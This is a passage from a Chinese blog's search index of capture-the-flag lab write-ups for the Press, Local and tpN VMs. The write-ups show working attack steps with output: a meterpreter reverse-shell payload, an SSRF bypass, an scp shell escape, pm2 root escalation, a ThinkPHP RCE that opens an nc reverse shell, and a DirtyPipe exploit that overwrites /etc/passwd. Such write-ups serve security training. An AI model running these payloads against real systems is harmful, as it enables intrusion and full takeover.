","date":"2026-05-16","heading":"权限提升","objectID":"/p/press/:6:0","tags":["mazesec","Easy"],"title":"Press","uri":"/p/press/#权限提升"},{"categories":["靶机复盘"],"collections":null,"content":"攻击链的总结 信息收集：nmap扫描发现22\\tcp 80\\tcp 80端口的枚举与分析：枚举发现debug.php test.php，分析debug.php发现其可以进行命令执行，上传木马，通过蚁剑访问，获取虚拟终端。 系统信息枚举：在目标系统上进行信息枚举发现/opt/code，它的内容为malbolge的源码，通过在线网站运行，获得sky的ssh凭证。 sky的信息枚举：sudo -l列举出wpscan，wpscan可以进行漏洞分析，并对目标进行请求，我利用代理将flag外带出来的。 ","date":"2026-05-16","heading":"攻击链的总结","objectID":"/p/press/:7:0","tags":["mazesec","Easy"],"title":"Press","uri":"/p/press/#攻击链的总结"},{"categories":["靶机复盘"],"collections":null,"content":"题外话 今天，群主说只有80、443端口可以出网，而我这周把春秋云镜的第一个徽章拿下了，想着练习一下metasploit工具，利用这个工具实现shell的反弹： msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=443 -f elf \u003e shell.elf 生成shell.elf文件，并将这个文件上传到靶机上。 msf exploit(multi/handler) \u003e use exploit/multi/handler [*] Using configured payload linux/x64/meterpreter/reverse_tcp msf exploit(multi/handler) \u003e set payload linux/x64/meterpreter/reverse_tcp payload =\u003e linux/x64/meterpreter/reverse_tcp msf exploit(multi/handler) \u003e show options Payload options (linux/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.56.101 yes The listen address (an interface may be specified) # kali 的 ip LPORT 443 yes The listen port # kali 要监听的端口 Exploit target: Id Name -- ---- 0 Wildcard Target View the full module info with the info, or info -d command. msf exploit(multi/handler) \u003e set LHOST 192.168.56.101 LHOST =\u003e 192.168.56.101 msf exploit(multi/handler) \u003e set LPORT 443 LPORT =\u003e 443 msf exploit(multi/handler) \u003e exploit [*] Started reverse TCP handler on 192.168.56.101:443 [*] Sending stage (3090404 bytes) to 192.168.56.111 [*] Meterpreter session 2 opened (192.168.56.101:443 -\u003e 192.168.56.111:59876) at 2026-05-16 03:36:16 -0400 session 会话已经打开，ctrl + c: msf exploit(multi/handler) \u003e sessions -l # 列举当前会话 Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 2 meterpreter x64/linux sky @ Press 192.168.56.101:443 -\u003e 192.168.56.111:59876 (192.168.5 6.111) msf exploit(multi/handler) \u003e sessions -i 2 [*] Starting interaction with 2... meterpreter \u003e # 切换到id为2的会话 meterpreter \u003e shell Process 676 created. Channel 1 created. id uid=1000(sky) gid=1000(sky) groups=1000(sky),100(users) # 这样我们就可以执行命令了 # ctrl+c meterpreter \u003e background # 将会话放到后台 [*] Backgrounding session 2... msf exploit(multi/handler) \u003e # 结束会话 meterpreter \u003e exit 学习别人的一个思路： 通过php -S 127.0.0.1:8000起一个服务好像更加简短，对于获取flag来说： 如何判断端口的开放情况，对于我来说又是一个新的问题，这个问题需要解决。 ","date":"2026-05-16","heading":"题外话","objectID":"/p/press/:8:0","tags":["mazesec","Easy"],"title":"Press","uri":"/p/press/#题外话"},{"categories":["靶机复盘"],"collections":null,"content":"mazesec 靶机 Local 的渗透测试与提权记录","date":"2026-05-15","objectID":"/p/local/","tags":["mazesec","Easy"],"title":"Local","uri":"/p/local/"},{"categories":["靶机复盘"],"collections":null,"content":"信息收集 root@kali:~# nmap 192.168.56.108 -p- --min-rate 10000 Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-14 04:47 -0400 Nmap scan report for 192.168.56.108 Host is up (0.15s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3006/tcp open deslogind MAC Address: 08:00:27:EA:E7:D3 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 53.57 seconds root@kali:~# nmap 192.168.56.108 -p 22,80,3006 --min-rate 10000 -sC -sV Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-14 04:48 -0400 Nmap scan report for 192.168.56.108 Host is up (0.0016s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 10.0 (protocol 2.0) 80/tcp open http Apache httpd 2.4.66 ((Unix)) | http-methods: |_ Potentially risky methods: TRACE |_http-title: It works! Apache httpd |_http-server-header: Apache/2.4.66 (Unix) 3006/tcp open http Node.js (Express middleware) |_http-title: Site doesn't have a title (text/html; charset=utf-8). MAC Address: 08:00:27:EA:E7:D3 (Oracle VirtualBox virtual NIC) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.64 seconds ","date":"2026-05-15","heading":"信息收集","objectID":"/p/local/:1:0","tags":["mazesec","Easy"],"title":"Local","uri":"/p/local/#信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"80 端口 分析 root@kali:~# dirsearch -u http://192.168.56.108/ /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /root/reports/http_192.168.56.108/__26-05-14_04-56-04.txt Target: http://192.168.56.108/ [04:56:04] Starting: [04:56:06] 403 - 317B - /.ht_wsr.txt [04:56:07] 403 - 317B - /.htaccess.bak1 [04:56:07] 403 - 317B - /.htaccess.orig [04:56:07] 403 - 317B - /.htaccess_orig [04:56:07] 403 - 317B - /.htaccess_sc [04:56:07] 403 - 317B - /.htaccessBAK [04:56:07] 403 - 317B - /.htaccess.sample [04:56:07] 403 - 317B - /.htaccess_extra [04:56:07] 403 - 317B - /.htaccess.save [04:56:07] 403 - 317B - /.htaccessOLD2 [04:56:07] 403 - 317B - /.htaccessOLD [04:56:07] 403 - 317B - /.htm [04:56:07] 403 - 317B - /.html [04:56:07] 403 - 317B - /.httr-oauth [04:56:07] 403 - 317B - /.htpasswd_test [04:56:07] 403 - 317B - /.htpasswds [04:56:29] 200 - 1KB - /cgi-bin/test-cgi [04:56:29] 200 - 820B - /cgi-bin/printenv [04:56:55] 200 - 155B - /package.json [04:57:10] 403 - 317B - /server-status [04:57:10] 403 - 317B - /server-status/ Task Completed 80端口的默认信息： root@kali:~# curl -i \"http://192.168.56.108\" HTTP/1.1 200 OK Date: Thu, 14 May 2026 11:14:15 GMT Server: Apache/2.4.66 (Unix) Last-Modified: Tue, 07 Apr 2026 05:54:40 GMT ETag: \"d9-64ed86b4e1def\" Accept-Ranges: bytes Content-Length: 217 Content-Type: text/html \u003c!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/strict.dtd\"\u003e It works! Apache httpd Access /flag to establish foothold. # 通过 flag 建立 渗透立足点 package.json 的 信息： { \"name\": \"ssrf-challenge\", \"version\": \"1.0.0\", \"main\": \"app.js\", \"dependencies\": { \"express\": \"^4.18.2\", \"is-localhost-ip\": \"2.0.0\" } } 是一个 ssrf 挑战，网络搜索发现is-localhost-ip 2.0.0 存在 CVE-2025-9960 漏洞。 ","date":"2026-05-15","heading":"80 端口 分析","objectID":"/p/local/:2:0","tags":["mazesec","Easy"],"title":"Local","uri":"/p/local/#80-端口-分析"},{"categories":["靶机复盘"],"collections":null,"content":"3009 端口分析 root@kali:~# feroxbuster --url \"http://192.168.56.108:3006/\" --wordlist /usr/share/wordlists/dirb/common.txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \\ \\_/ | | \\ |__ | |___ | \\ | \\ | \\__, \\__/ / \\ | |__/ |___ by Ben \"epi\" Risher 🤓 ver: 2.13.1 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://192.168.56.108:3006/ 🚩 In-Scope Url │ 192.168.56.108 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirb/common.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.13.1 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 10l 15w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 1l 3w 67c http://192.168.56.108:3006/ 403 GET 1l 4w 61c http://192.168.56.108:3006/flag 400 GET 1l 3w 15c http://192.168.56.108:3006/preview [####################] - 2s 4614/4614 0s found:3 errors:0 [####################] - 1s 4614/4614 4256/s http://192.168.56.108:3006/ root@kali:~# is-localhost-ip 2.0.0 存在 CVE-2025-9960 漏洞。 http://192.168.56.108:3006/preview?url=http://[::ffff:7f00:1]/ 获取到了flag： root@kali:~# curl -i http://192.168.56.108:3006/preview?url=http://[::ffff:7f00:1]:3006/flag HTTP/1.1 200 OK X-Powered-By: Express Content-Type: text/plain; charset=utf-8 Content-Length: 46 ETag: W/\"2e-Jnxs6RFDVkwIYNU5ifAUgY5KL0o\" Date: Thu, 14 May 2026 09:56:17 GMT Connection: keep-alive Keep-Alive: timeout=5 {\"status\":\"success\",\"flag\":\"0h6WTnHJggZg451m\"} 泄露出来了flag，猜测这个可能是密码。还不知道用户名，现在主要目的泄露用户名。 昨天打靶机，就卡在了这一步，思路上卡住了。 问出题人要了一些提示，说 \u0026ldquo;路径\u0026rdquo; ，我想了好多，就没有想过0h6WTnHJggZg451m，可能是网站上的一个文件，有了这个思路后： root@kali:/tmp/123# curl -O http://192.168.56.108/0h6WTnHJggZg451m/ % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 444 100 444 0 0 72206 0 root@kali:/tmp/123# chmod 600 id_ed25519 # ssh 公钥是可以通过私钥导出来的，第一次遇到 root@kali:/tmp/123# ssh-keygen -y -f id_ed25519 \u003e id_ed25519.pub Enter passphrase for \"id_ed25519\": 这里passphrase 的密码是0h6WTnHJggZg451m。 root@kali:/tmp/123# cat id_ed25519.pub ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICNoJ+OrztBU///dh239MLIyPjhUdvUj5TvsrO6Ub/6j wiktor@Lara 可以从公钥中提取用户名：wiktor。 ","date":"2026-05-15","heading":"3009 端口分析","objectID":"/p/local/:3:0","tags":["mazesec","Easy"],"title":"Local","uri":"/p/local/#3009-端口分析"},{"categories":["靶机复盘"],"collections":null,"content":"初始访问 root@kali:/tmp/123# ssh wiktor@192.168.56.108 -p 22 -i id_ed25519 Enter passphrase for key 'id_ed25519': _ __ _____| | ___ ___ _ __ ___ ___ \\ \\ /\\ / / _ \\ |/ __/ _ \\| '_ ` _ \\ / _ \\ \\ V V / __/ | (_| (_) | | | | | | __/ \\_/\\_/ \\___|_|\\___\\___/|_| |_| |_|\\___| ","date":"2026-05-15","heading":"初始访问","objectID":"/p/local/:4:0","tags":["mazesec","Easy"],"title":"Local","uri":"/p/local/#初始访问"},{"categories":["靶机复盘"],"collections":null,"content":"wiktor信息收集 wiktor@Local:~$ ls -al total 16 drwxr-sr-x 3 wiktor wiktor 4096 Apr 7 13:57 . drwxr-xr-x 4 root root 4096 Apr 7 19:54 .. drwx--S--- 2 wiktor wiktor 4096 Apr 7 13:47 .ssh -rw-r--r-- 1 root wiktor 44 Apr 7 13:57 user.txt wiktor@Local:~$ cat user.txt flag{user-bd62d032486aff767bc47d736c594dcb} wiktor@Local:~$ sudo -l Matching Defaults entries for wiktor on Local: secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin Runas and Command-specific defaults for wiktor: Defaults!/usr/sbin/visudo env_keep+=\"SUDO_EDITOR EDITOR VISUAL\" User wiktor may run the following commands on Local: (citrus) NOPASSWD: /usr/bin/scp sudo -l: 发现可以以citrus用户的身份执行scp命令，gtfobins网站搜索： ","date":"2026-05-15","heading":"","objectID":"/p/local/:5:0","tags":["mazesec","Easy"],"title":"Local","uri":"/p/local/#wiktor信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"横向移动 wiktor@Local:~$ touch x # 这里必须先创建 x 文件 wiktor@Local:~$ sudo -u citrus scp -o 'ProxyCommand=;/bin/sh 0\u003c\u00262 1\u003e\u00262' x x: /home/wiktor $ id uid=1001(citrus) gid=1001(citrus) groups=1001(citrus) ","date":"2026-05-15","heading":"横向移动","objectID":"/p/local/:6:0","tags":["mazesec","Easy"],"title":"Local","uri":"/p/local/#横向移动"},{"categories":["靶机复盘"],"collections":null,"content":"citrus信息收集 ~ $ sudo -l Matching Defaults entries for citrus on Local: secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin Runas and Command-specific defaults for citrus: Defaults!/usr/sbin/visudo env_keep+=\"SUDO_EDITOR EDITOR VISUAL\" User citrus may run the following commands on Local: (ALL : ALL) NOPASSWD: /usr/local/bin/pm2 可以以任何用户的身份运行pm2，pm2 --help: --interpreter ：指定执行程序所用解释器，默认 node 发现上面一个很特殊的参数。 ","date":"2026-05-15","heading":"","objectID":"/p/local/:7:0","tags":["mazesec","Easy"],"title":"Local","uri":"/p/local/#citrus信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"权限提升 # 靶机终端 Local:~$ sudo pm2 start 1.sh --interpreter /bin/bash --no-autorestart [PM2] Applying action restartProcessId on app [1](ids: [ 2 ]) [PM2] [1](2) ✓ [PM2] Process successfully started ┌────┬────────────────────┬──────────┬──────┬───────────┬──────────┬──────────┐ │ id │ name │ mode │ ↺ │ status │ cpu │ memory │ ├────┼────────────────────┼──────────┼──────┼───────────┼──────────┼──────────┤ │ 2 │ 1 │ fork │ 172… │ online │ 0% │ 1.6mb │ │ 0 │ ctf-ssrf │ fork │ 0 │ online │ 0% │ 68.3mb │ │ 1 │ pm2-ls │ fork │ 0 │ stopped │ 0% │ 0b │ └────┴────────────────────┴──────────┴──────┴───────────┴──────────┴──────────┘ # kali root@kali:~# nc -lvnp 39666 listening on [any] 39666 ... connect to [192.168.56.101] from (UNKNOWN) [192.168.56.108] 46693 id uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) cat /root/root.txt flag{root-1b499d262771d39ceb16056de9834025} ","date":"2026-05-15","heading":"权限提升","objectID":"/p/local/:8:0","tags":["mazesec","Easy"],"title":"Local","uri":"/p/local/#权限提升"},{"categories":["靶机复盘"],"collections":null,"content":"HackMyVM 靶机 tpN 的渗透测试与提权记录","date":"2026-05-11","objectID":"/p/tpn/","tags":["HackMyVM","Medium"],"title":"tpN","uri":"/p/tpn/"},{"categories":["靶机复盘"],"collections":null,"content":" 作者标的难度为Easy，但我觉得这应该有Medium，所以我把它放入了Medium文件夹。 这算是我做的第一个thinkphp审计+内核漏洞提权的靶机，感谢作者。 ","date":"2026-05-11","heading":"","objectID":"/p/tpn/:0:0","tags":["HackMyVM","Medium"],"title":"tpN","uri":"/p/tpn/#"},{"categories":["靶机复盘"],"collections":null,"content":"信息收集 ","date":"2026-05-11","heading":"信息收集","objectID":"/p/tpn/:1:0","tags":["HackMyVM","Medium"],"title":"tpN","uri":"/p/tpn/#信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"端口扫描 root@kali:~# nmap 192.168.56.107 -p- Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-09 22:32 -0400 Nmap scan report for 192.168.56.107 Host is up (0.0013s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 8080/tcp open http-proxy MAC Address: 08:00:27:36:60:EC (Oracle VirtualBox virtual NIC) ","date":"2026-05-11","heading":"端口扫描","objectID":"/p/tpn/:1:1","tags":["HackMyVM","Medium"],"title":"tpN","uri":"/p/tpn/#端口扫描"},{"categories":["靶机复盘"],"collections":null,"content":"指纹识别 root@kali:~# nmap 192.168.56.107 -p 22,8080 -sC -sV Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-09 22:32 -0400 Nmap scan report for 192.168.56.107 Host is up (0.0011s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) |_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) 8080/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-open-proxy: Proxy might be redirecting requests | http-git: | 192.168.56.107:8080/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... | Remotes: |_ https://github.com/LSP1025923/thinkphp.git |_http-server-header: Apache/2.4.62 (Debian) | http-methods: |_ Potentially risky methods: PUT DELETE |_http-title: Thinkphp5 | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set MAC Address: 08:00:27:36:60:EC (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.04 seconds 观察到一个关键信息： | http-git: | 192.168.56.107:8080/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... | Remotes: |_ https://github.com/LSP1025923/thinkphp.git 在GitHub上存在仓库：https://github.com/LSP1025923/thinkphp.git。 这可能是8080端口http服务的源代码。 ","date":"2026-05-11","heading":"指纹识别","objectID":"/p/tpn/:1:2","tags":["HackMyVM","Medium"],"title":"tpN","uri":"/p/tpn/#指纹识别"},{"categories":["靶机复盘"],"collections":null,"content":"8080端口目标服务的功能分析 ","date":"2026-05-11","heading":"8080端口目标服务的功能分析","objectID":"/p/tpn/:2:0","tags":["HackMyVM","Medium"],"title":"tpN","uri":"/p/tpn/#8080端口目标服务的功能分析"},{"categories":["靶机复盘"],"collections":null,"content":"代码审计 查看入口文件public/index.php use think\\App; // [ 应用入口文件 ] require __DIR__ . '/../vendor/autoload.php'; // 执行HTTP应用并响应 $http = (new App())-\u003ehttp; $response = $http-\u003erun(); $response-\u003esend(); $http-\u003eend($response); 这是整个 Web 应用的入口文件，Web 服务器将请求交给 PHP 后，会从这里开始执行；随后程序加载自动加载器，创建 ThinkPHP 应用并处理请求，最后把响应结果返回给客户端。 查看应用配置config/app.py // 核心的信息上面都有注释 return [ 'app_namespace' =\u003e '', // 启用路由，项目会加载路由配置文件 'with_route' =\u003e true, // 默认的应用是 index 'default_app' =\u003e 'index', 'default_timezone' =\u003e 'Asia/Shanghai', // 访问think，会映射到admin 'app_map' =\u003e [\"think\"=\u003e\"admin\"], 'domain_bind' =\u003e [], // 没有禁止任何通过url访问的应用 'deny_app_list' =\u003e [], 'exception_tmpl' =\u003e app()-\u003egetThinkPath() . 'tpl/think_exception.tpl', 'error_message' =\u003e '页面错误！请稍后再试～', 'show_error_msg' =\u003e false, ]; 查看路由配置文件config/route.php return [ // pathinfo分隔符 'pathinfo_depr' =\u003e '/', // 是否开启路由延迟解析 'url_lazy_route' =\u003e false, // 是否强制使用路由 'url_route_must' =\u003e false, // 是否区分大小写 'url_case_sensitive' =\u003e false, // 合并路由规则 'route_rule_merge' =\u003e false, // 路由是否完全匹配 'route_complete_match' =\u003e false, // 去除斜杠 'remove_slash' =\u003e false, // 默认的路由变量规则 'default_route_pattern' =\u003e '[1-9]', // URL伪静态后缀 'url_html_suffix' =\u003e 'html', // 访问控制器层名称 'controller_layer' =\u003e 'controller', // 空控制器名 'empty_controller' =\u003e 'Error', // 是否使用控制器后缀 'controller_suffix' =\u003e false, // 默认模块名（开启自动多模块有效） 'default_module' =\u003e 'index', // 默认控制器名 'default_controller' =\u003e 'Index', // 默认操作名 'default_action' =\u003e 'index', // 操作方法后缀 'action_suffix' =\u003e '', // 非路由变量是否使用普通参数方式（用于URL生成） 'url_common_param' =\u003e true, // 操作方法的参数绑定方式 route get param 'action_bind_param' =\u003e 'get', // 请求缓存规则 true为自动规则 'request_cache_key' =\u003e true, // 请求缓存有效期 'request_cache_expire' =\u003e null, // 全局请求缓存排除规则 'request_cache_except' =\u003e [], // 请求缓存的Tag 'request_cache_tag' =\u003e '', ]; 主要的核心信息： // 是否强制使用路由 'url_route_must' =\u003e false, 即使没有命中显示路由，也可以通过默认控制器路由访问控制方法。 // 默认的路由变量规则 'default_route_pattern' =\u003e '[1-9]', 当我们写变量路由时，没有单独给变量指定规则时，它就会顶上去。 单独给变量指定规则： Route::rule(\"sdsa/:a/:b\",\"index/ind\")-\u003epattern([ 'a' =\u003e '\\w+', 'b' =\u003e '\\w+' ]); 查看全局中间件文件/app/middleware.php： \u003c?php // 全局中间件定义文件 return [ // 全局请求缓存 // \\think\\middleware\\CheckRequestCache::class, // 多语言加载 // \\think\\middleware\\LoadLangPack::class, // Session初始化 \\think\\middleware\\SessionInit::class, \\app\\middleware\\Check::class ]; return [ \u0026hellip; ] 里的类，会对所有请求生效。 \\think\\middleware\\SessionInit::class : 用于 session 的初始化。 查看/app/middleware/Check.php文件: public function handle($request, \\Closure $next) { $pattern = '/\\b(eval|exec|system|shell_exec|popen|proc_open|assert|base64_decode|file_get_contents|phpinfo)\\b/i'; if (preg_match($pattern, request()-\u003eurl())) { return Response(\"麻辣隔壁，就你这个菜逼样子还想当黑客\"); } return $next($request); } 这里对于url进行了黑名单处理，如果url中存在这些关键字，请求会被在这里拦下来。 查看别名中间件文件：/config/middleware.php \u003c?php // 中间件配置 return [ // 别名或分组 'alias' =\u003e [\"Check1\" =\u003e \\app\\middleware\\Check1::class], // 优先级设置，此数组中的中间件会按照数组中的顺序优先执行 'priority' =\u003e [], ]; 查看/app/middleware/Check1.php文件： public function handle($request, \\Closure $next) { // if ((Session::get(\"sb\")==Session::get(\"token\")\u0026\u0026!empty(Session::get(\"sb\"))\u0026\u0026!empty(Session::get(\"token\")))){ return $next($request); } else{ echo Session::get(\"sb\"); echo \" \"; echo Session(\"token\"); return response(\"虽然我是新手,但是懂的一点token验证什么的\"); } } 这里做了判断，判断sb和token是否相等，sb和token不能为空。判断失败，这里会进行拦截。 现在查看到底设置了啥显示路由： root@kali:/tmp/123/thinkphp# grep -rn 'Route' . ./route/app.php:11:use think\\facade\\Route; ./route/app.php:13://Route::get('think', function () { ./route/app.php:17://Route::get('hello/:name', 'index/hello'); ./route/app.php:18:////Route::rule(\"details/:id\",\"Index/details\"); ./route/app.php:19://Route::rule(\"details-:id-[:sb]\",\"Index/details\")-\u003epattern(['id' =\u003e '\\d+']); ./route/app.php:20://Route::rule(\"details--\",\"Index/details\")-\u003epattern(['id' =\u003e '\\d+'])-\u003eext(\"html\"); ./route/app.php:21://Route::rule(\"details--\",\"Index/details\")-\u003edenyext(\"py|sb|html|oo\"); ./route/app.php:22://Route::rule( ./route/app.php:27://Route::rule(\"sb\",function (){ ./route/app.php:31://Route::rule(\"sb\",function (){return \"你成功调用闭包函数\";}); ./route/app.php:32://Route:","date":"2026-05-11","heading":"代码审计","objectID":"/p/tpn/:2:1","tags":["HackMyVM","Medium"],"title":"tpN","uri":"/p/tpn/#代码审计"},{"categories":["靶机复盘"],"collections":null,"content":"漏洞利用 通过/index/Token/token获取session: root@kali:/tmp/123/thinkphp# curl -i -c cookie.txt -b cookie.txt \"http://192.168.56.107:8080/index/Token/token\" -X POST -d \"sb=admin\" HTTP/1.1 200 OK Date: Sun, 10 May 2026 11:58:27 GMT Server: Apache/2.4.62 (Debian) Set-Cookie: PHPSESSID=59c7ee142c7c02fd5239b3e5a624fd90; expires=Sun, 10 May 2026 12:22:27 GMT; Max-Age=1440; path=/ Vary: Accept-Encoding Content-Length: 1541 Content-Type: text/html; charset=utf-8 \u003c!DOCTYPE html\u003e 令牌获取 令牌获取器 获取成功: 0a5cc548592c90717beec5c389fde30fb7a43488 我们将获取到的session放入到了cookie.txt，后面请求的话带着cookie.txt请求就可以。 root@kali:/tmp/123/thinkphp# curl -i -b cookie.txt \"http://192.168.56.107:8080/think/sb/abc/print_r\" HTTP/1.1 404 Not Found Date: Sun, 10 May 2026 12:02:57 GMT Server: Apache/2.4.62 (Debian) Set-Cookie: PHPSESSID=59c7ee142c7c02fd5239b3e5a624fd90; expires=Sun, 10 May 2026 12:26:57 GMT; Max-Age=1440; path=/ Content-Length: 6812 Content-Type: text/html; charset=utf-8 ...... 这里没有成功的原因是： // config/route.php // 默认的路由变量规则 'default_route_pattern' =\u003e '[1-9]', Route::rule(\"sb/:a/:b\",\"Admin/hello\"); 我们设置路由时，并没有给路由变量a 和 b指定规则，所以默认为全局路由变量规则。从路由变量规则可以看出，这里只允许a 和 b用单个数字，单个数字无法让我们进行漏洞利用。解决办法： // 是否强制使用路由 'url_route_must' =\u003e false, 我们也可以用默认的控制器路由访问方法： root@kali:/tmp/123/thinkphp# curl -i -b cookie.txt \"http://192.168.56.107:8080/think/Admin/hello\" HTTP/1.1 500 Internal Server Error Date: Sun, 10 May 2026 12:12:41 GMT Server: Apache/2.4.62 (Debian) Set-Cookie: PHPSESSID=59c7ee142c7c02fd5239b3e5a624fd90; expires=Sun, 10 May 2026 12:36:41 GMT; Max-Age=1440; path=/ Content-Length: 6812 Connection: close Content-Type: text/html; charset=utf-8 ....... 这里并没有出现404，说明访问可达，500，可能是因为我们没有传递参数导致的报错。如何传参了： // 操作方法的参数绑定方式 route get param 'action_bind_param' =\u003e 'get', 从这个信息可以看出，操作方法的参数被绑定到get请求参数上。 root@kali:/tmp/123/thinkphp# curl -i -b cookie.txt \"http://192.168.56.107:8080/think/Admin/hello?a=abc\u0026b=print_r\" HTTP/1.1 200 OK Date: Sun, 10 May 2026 12:17:52 GMT Server: Apache/2.4.62 (Debian) Set-Cookie: PHPSESSID=59c7ee142c7c02fd5239b3e5a624fd90; expires=Sun, 10 May 2026 12:41:52 GMT; Max-Age=1440; path=/ Content-Length: 7 Content-Type: text/html; charset=utf-8 abc 传进去的abc被打印出来了，说明可以进行代码的执行。 当前网站存在phpinfo.php文件(目录枚举出来的)，可以查看系统禁用函数： 发现里面并没有passthru，check的黑名单也没有passthru，可以利用passthru执行命令。 ","date":"2026-05-11","heading":"漏洞利用","objectID":"/p/tpn/:3:0","tags":["HackMyVM","Medium"],"title":"tpN","uri":"/p/tpn/#漏洞利用"},{"categories":["靶机复盘"],"collections":null,"content":"反向shell root@kali:/tmp/123/thinkphp# curl -i -b cookie.txt \"http://192.168.56.107:8080/think/Admin/hello?a=busybox%20nc%20192.168.56.101%2039666%20-e%20/bin/bash\u0026b=passthru\" #终端1 root@kali:~# nc -lvnp 39666 listening on [any] 39666 ... connect to [192.168.56.101] from (UNKNOWN) [192.168.56.107] 53118 id uid=33(www-data) gid=33(www-data) groups=33(www-data) #终端2 ","date":"2026-05-11","heading":"反向shell","objectID":"/p/tpn/:4:0","tags":["HackMyVM","Medium"],"title":"tpN","uri":"/p/tpn/#反向shell"},{"categories":["靶机复盘"],"collections":null,"content":"优化shell script -qc /bin/bash /dev/null www-data@tpN:/var/www/tp8/public$ ^Z zsh: suspended nc -lvnp 39666 root@kali:~# stty raw -echo;fg [1] + continued nc -lvnp 39666 reset reset: unknown terminal type unknown Terminal type? xterm www-data@tpN:/var/www/tp8/public$ export SHELL=/bin/bash www-data@tpN:/var/www/tp8/public$ export TERM=xterm-256color www-data@tpN:/var/www/tp8/public$ cd /home/welcome www-data@tpN:/home/welcome$ source .bashrc ","date":"2026-05-11","heading":"优化shell","objectID":"/p/tpn/:5:0","tags":["HackMyVM","Medium"],"title":"tpN","uri":"/p/tpn/#优化shell"},{"categories":["靶机复盘"],"collections":null,"content":"CVE-2022-0847(DirtyPipe提权) payload的网站：DirtyPipe www-data@tpN:/home/welcome$ uname -a Linux tpN 5.8.0-050800-generic #202008022230 SMP Sun Aug 2 22:33:21 UTC 2020 x86_64 GNU/Linux 这个linux内核刚好在DirtyPipe的影响范围了。 # 终端1 root@kali:~/tools/DirtyPipe# python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... # 终端2 www-data@tpN:/home/welcome$ mkdir /tmp/123 www-data@tpN:/home/welcome$ cd /tmp/123 www-data@tpN:/tmp/123$ busybox wget http://192.168.56.101:8000/dpipe.c Connecting to 192.168.56.101:8000 (192.168.56.101:8000) dpipe.c 100% |********************************| 7683 0:00:00 ETA 提权： www-data@tpN:/tmp/123$ gcc -o dpipe dpipe.c -static www-data@tpN:/tmp/123$ ls -al total 776 drwxr-xr-x 2 www-data www-data 4096 May 10 08:33 . drwxrwxrwt 3 root root 4096 May 10 08:33 .. -rwxr-xr-x 1 www-data www-data 776552 May 10 08:33 dpipe -rw-r--r-- 1 www-data www-data 7683 May 10 08:33 dpipe.c www-data@tpN:/tmp/123$ ./dpipe --root [Dirty Pipe] Attempting to backup '/etc/passwd' to '/tmp/passwd.bak' [Dirty Pipe] Successfully backed up '/etc/passwd' to '/tmp/passwd.bak' [Dirty Pipe] Initiating write to '/etc/passwd'... [Dirty Pipe] Data size to write: 131 bytes [Dirty Pipe] File '/etc/passwd' opened successfully for reading. [Dirty Pipe] Pipe size determined: 65536 bytes [Dirty Pipe] Filling the pipe... [Dirty Pipe] Pipe filled successfully. [Dirty Pipe] Draining the pipe... [Dirty Pipe] Pipe drained successfully. [Dirty Pipe] Data successfully written to '/etc/passwd'. [Dirty Pipe] You can connect as root with password 'el3ph@nt!' [Dirty Pipe] Program execution completed successfully. www-data@tpN:/tmp/123$ su - root Password: # id 